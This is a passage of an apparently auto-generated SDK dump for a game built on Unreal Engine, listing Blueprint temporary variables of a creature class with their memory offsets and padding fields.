unsigned char UnknownData101[0x4]; // 0x3324(0x0004) MISSED OFFSET
class USceneComponent* CallFunc_K2_GetRootComponent_ReturnValue; // 0x3328(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Dot_VectorVector_ReturnValue2; // 0x3330(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData102[0x4]; // 0x3334(0x0004) MISSED OFFSET
class AController* CallFunc_GetController_ReturnValue4; // 0x3338(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue3; // 0x3340(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData103[0x3]; // 0x3341(0x0003) MISSED OFFSET
struct FRotator CallFunc_MakeRotFromX_ReturnValue; // 0x3344(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_PlayAnimMontage_ReturnValue; // 0x3350(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float K2Node_CustomEvent_DeltaTime; // 0x3354(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FName K2Node_Event_CustomEventName; // 0x3358(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class USkeletalMeshComponent* K2Node_Event_MeshComp; // 0x3360(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAnimSequenceBase* K2Node_Event_Animation; // 0x3368(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAnimNotify* K2Node_Event_AnimNotifyObject; // 0x3370(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_NameName_ReturnValue; // 0x3378(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_NameName_ReturnValue2; // 0x3379(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_NameName_ReturnValue3; // 0x337A(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_CustomEvent_LatchingInterrupted; // 0x337B(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_PlayAnimMontage_ReturnValue2; // 0x337C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanOR_ReturnValue3; // 0x3380(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData104[0x3]; // 0x3381(0x0003) MISSED OFFSET
float CallFunc_PlayAnimMontage_ReturnValue3; // 0x3384(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool Temp_bool_True_if_break_was_hit_Variable; // 0x3388(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue; // 0x3389(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData105[0x2]; // 0x338A(0x0002) MISSED OFFSET
float CallFunc_PlayAnimMontage_ReturnValue4; // 0x338C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue2; // 0x3390(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData106[0x3]; // 0x3391(0x0003) MISSED OFFSET
struct FVector CallFunc_NegateVector_ReturnValue5; // 0x3394(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue6; // 0x33A0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Dot_VectorVector_ReturnValue3; // 0x33AC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Pitch6; // 0x33B0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Yaw6; // 0x33B4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Roll6; // 0x33B8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_DegAcos_ReturnValue2; // 0x33BC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Add_FloatFloat_ReturnValue; // 0x33C0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue2; // 0x33C4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue3; // 0x33D0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData107[0x3]; // 0x33D1(0x0003) MISSED OFFSET
struct FVector CallFunc_Add_VectorVector_ReturnValue2; // 0x33D4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue3; // 0x33E0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsFirstPerson_ReturnValue; // 0x33EC(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_K2_SetActorLocation_ReturnValue; // 0x33ED(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue4; // 0x33EE(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue4; // 0x33EF(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue5; // 0x33F0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue6; // 0x33F1(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData108[0x2]; // 0x33F2(0x0002) MISSED OFFSET
float K2Node_CustomEvent_yaw; // 0x33F4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float K2Node_CustomEvent_Pitch; // 0x33F8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float K2Node_CustomEvent_Roll; // 0x33FC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int Temp_int_Loop_Counter_Variable2; // 0x3400(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Add_FloatFloat_ReturnValue2; // 0x3404(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int CallFunc_Add_IntInt_ReturnValue2; // 0x3408(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Add_FloatFloat_ReturnValue3; // 0x340C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_HasAuthority_ReturnValue; // 0x3410(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData109[0x7]; // 0x3411(0x0007) MISSED OFFSET
TArray<class APrimalCharacter*> CallFunc_GetPassengers_ReturnValue; // 0x3418(0x0010) (ZeroConstructor, Transient, DuplicateTransient)
int CallFunc_Array_Length_ReturnValue; // 0x3428(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_CustomEvent_backwardsLatching; // 0x342C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData110[0x3]; // 0x342D(0x0003) MISSED OFFSET
float K2Node_CustomEvent_DeltaSeconds; // 0x3430(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_RInterpTo_ReturnValue; // 0x3434(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_MakeVector_ReturnValue; // 0x3440(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_SetActorRotation_ReturnValue2; // 0x344C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData111[0x3]; // 0x344D(0x0003) MISSED OFFSET
struct FVector CallFunc_MakeVector_ReturnValue2; // 0x3450(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue3; // 0x345C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue4; // 0x345D(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanAND_ReturnValue2; // 0x345E(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue5; // 0x345F(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetVelocity_ReturnValue; // 0x3460(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue7; // 0x346C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Normal_ReturnValue; // 0x3478(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetForwardVector_ReturnValue; // 0x3484(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Dot_VectorVector_ReturnValue4; // 0x3490(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float K2Node_CustomEvent_AxisValue2; // 0x3494(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_GreaterEqual_FloatFloat_ReturnValue; // 0x3498(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_FloatFloat_ReturnValue; // 0x3499(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData112[0x6]; // 0x349A(0x0006) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue; // 0x34A0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue2; // 0x34A8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Is_Quick_Turning_ReturnValue; // 0x34A9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData113[0x2]; // 0x34AA(0x0002) MISSED OFFSET
struct FVector K2Node_CustomEvent_Epicenter; // 0x34AC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode; // 0x34B8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum_CmpSuccess; // 0x34B9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode2; // 0x34BA(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData114[0x1]; // 0x34BB(0x0001) MISSED OFFSET
struct FVector CallFunc_GetWindGustEpicenter_ReturnValue; // 0x34BC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum2_CmpSuccess; // 0x34C8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData115[0x3]; // 0x34C9(0x0003) MISSED OFFSET
struct FVector K2Node_CustomEvent_Dir2; // 0x34CC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_Loc2; // 0x34D8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue8; // 0x34E4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue; // 0x34F0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_HasSaddle_Ret; // 0x34F8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_HasSaddle_RetIsSuperSaddle; // 0x34F9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue6; // 0x34FA(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_HasFuel_ReturnValue; // 0x34FB(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int CallFunc_HasFuel_Quantity; // 0x34FC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanAND_ReturnValue3; // 0x3500(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanAND_ReturnValue4; // 0x3501(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData116[0x2]; // 0x3502(0x0002) MISSED OFFSET
float K2Node_InputAxisEvent_AxisValue; // 0x3504(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue3; // 0x3508(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData117[0x3]; // 0x3509(0x0003) MISSED OFFSET
float CallFunc_Multiply_FloatFloat_ReturnValue; // 0x350C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int Temp_int_Loop_Counter_Variable3; // 0x3510(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_IntInt_ReturnValue; // 0x3514(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData118[0x3]; // 0x3515(0x0003) MISSED OFFSET
class APrimalCharacter* CallFunc_Array_Get_Item; // 0x3518(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AShooterCharacter* K2Node_DynamicCast_AsShooterCharacter; // 0x3520(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast3_CastSuccess; // 0x3528(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData119[0x3]; // 0x3529(0x0003) MISSED OFFSET
int CallFunc_Add_IntInt_ReturnValue3; // 0x352C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_NameName_ReturnValue4; // 0x3530(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData120[0x7]; // 0x3531(0x0007) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue2; // 0x3538(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue3; // 0x3540(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_K2_IsTimerActive_ReturnValue; // 0x3541(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData121[0x6]; // 0x3542(0x0006) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue3; // 0x3548(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue4; // 0x3550(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData122[0x7]; // 0x3551(0x0007) MISSED OFFSET
class APrimalCharacter* K2Node_CustomEvent_Target2; // 0x3558(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetActorForwardVector_ReturnValue; // 0x3560(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue2; // 0x356C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue3; // 0x3578(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue4; // 0x3584(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool Temp_bool_True_if_break_was_hit_Variable2; // 0x3590(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData123[0x7]; // 0x3591(0x0007) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAttached_ReturnValue; // 0x3598(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Not_PreBool_ReturnValue7; // 0x35A0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData124[0x7]; // 0x35A1(0x0007) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue; // 0x35A8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_TimeSince_Network_ReturnValue; // 0x35B0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_GetWorldDeltaSeconds_ReturnValue; // 0x35B4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_GetFloatValue_ReturnValue; // 0x35B8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Multiply_FloatFloat_ReturnValue2; // 0x35BC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue3; // 0x35C0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsServer_ReturnValue; // 0x35CC(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData125[0x3]; // 0x35CD(0x0003) MISSED OFFSET
struct FVector CallFunc_GetActorUpVector_ReturnValue; // 0x35D0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FLinearColor CallFunc_SelectColor_ReturnValue; // 0x35DC(0x0010) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData126[0x4]; // 0x35EC(0x0004) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue2; // 0x35F0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_TimeSince_Network_ReturnValue2; // 0x35F8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetActorForwardVector_ReturnValue2; // 0x35FC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_GetFloatValue_ReturnValue2; // 0x3608(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Multiply_FloatFloat_ReturnValue3; // 0x360C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Multiply_FloatFloat_ReturnValue4; // 0x3610(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue4; // 0x3614(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Multiply_FloatFloat_ReturnValue5; // 0x3620(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue9; // 0x3624(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue5; // 0x3630(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue5; // 0x363C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_GetWorldDeltaSeconds_ReturnValue2; // 0x3648(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue6; // 0x364C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_QInterpTo_ReturnValue; // 0x3658(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_SetActorRotation_ReturnValue3; // 0x3664(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<EMovementMode> CallFunc_GetPrimalCharMovementMode_ReturnValue; // 0x3665(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_SetActorRotation_ReturnValue4; // 0x3666(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum3_CmpSuccess; // 0x3667(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue4; // 0x3668(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetActorForwardVector_ReturnValue3; // 0x3674(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Subtract_VectorVector_ReturnValue2; // 0x3680(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Dot_VectorVector_ReturnValue5; // 0x368C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_VSize_ReturnValue2; // 0x3690(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue5; // 0x3694(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue4; // 0x3695(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData127[0x2]; // 0x3696(0x0002) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue3; // 0x3698(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue5; // 0x36A0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData128[0x4]; // 0x36AC(0x0004) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue4; // 0x36B0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BPFastTrace_ReturnValue; // 0x36B8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue5; // 0x36B9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData129[0x2]; // 0x36BA(0x0002) MISSED OFFSET
struct FVector CallFunc_GetActorForwardVector_ReturnValue4; // 0x36BC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue6; // 0x36C8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData130[0x4]; // 0x36D4(0x0004) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue5; // 0x36D8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue7; // 0x36E0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Conv_RotatorToVector_ReturnValue2; // 0x36EC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsLocallyControlledByPlayer_ReturnValue; // 0x36F8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData131[0x3]; // 0x36F9(0x0003) MISSED OFFSET
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue7; // 0x36FC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue7; // 0x3708(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData132[0x4]; // 0x3714(0x0004) MISSED OFFSET
class AController* CallFunc_GetController_ReturnValue5; // 0x3718(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AShooterPlayerController* K2Node_DynamicCast_AsShooterPlayerController3; // 0x3720(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast4_CastSuccess; // 0x3728(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_HasAmmo_ReturnValue; // 0x3729(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData133[0x2]; // 0x372A(0x0002) MISSED OFFSET
int CallFunc_HasAmmo_Quantity; // 0x372C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UWorld* CallFunc_K2_GetWorld_ReturnValue4; // 0x3730(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
double CallFunc_GetNetworkTimeInSeconds_ReturnValue6; // 0x3738(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue6; // 0x3740(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData134[0x3]; // 0x3741(0x0003) MISSED OFFSET
float CallFunc_PlayAnimEx_ReturnValue; // 0x3744(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue; // 0x3748(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData135[0x7]; // 0x3749(0x0007) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue7; // 0x3750(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
double CallFunc_GetNetworkTimeInSeconds_ReturnValue8; // 0x3758(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UWorld* CallFunc_K2_GetWorld_ReturnValue5; // 0x3760(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue2; // 0x3768(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsUsingSuperFlight_Ret; // 0x3769(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData136[0x6]; // 0x376A(0x0006) MISSED OFFSET
double CallFunc_IsUsingSuperFlight_StartedEndingTime; // 0x3770(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_GetReplicatedControlRotation_ReturnValue; // 0x3778(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_RInterpTo_ReturnValue2; // 0x3784(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_GetReplicatedControlRotation_ReturnValue2; // 0x3790(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_RInterpTo_ReturnValue3; // 0x379C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanOR_ReturnValue4; // 0x37A8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData137[0x7]; // 0x37A9(0x0007) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue9; // 0x37B0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class APrimalBuff* CallFunc_GetBuffWithCustomTag_ReturnValue; // 0x37B8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue7; // 0x37C0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData138[0x3]; // 0x37C1(0x0003) MISSED OFFSET
float CallFunc_Multiply_FloatFloat_ReturnValue6; // 0x37C4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_ExtendBuffTime_ReturnValue; // 0x37C8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsPlayingBlockingAnim_ReturnVal; // 0x37C9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData139[0x6]; // 0x37CA(0x0006) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue10; // 0x37D0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue7; // 0x37D8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
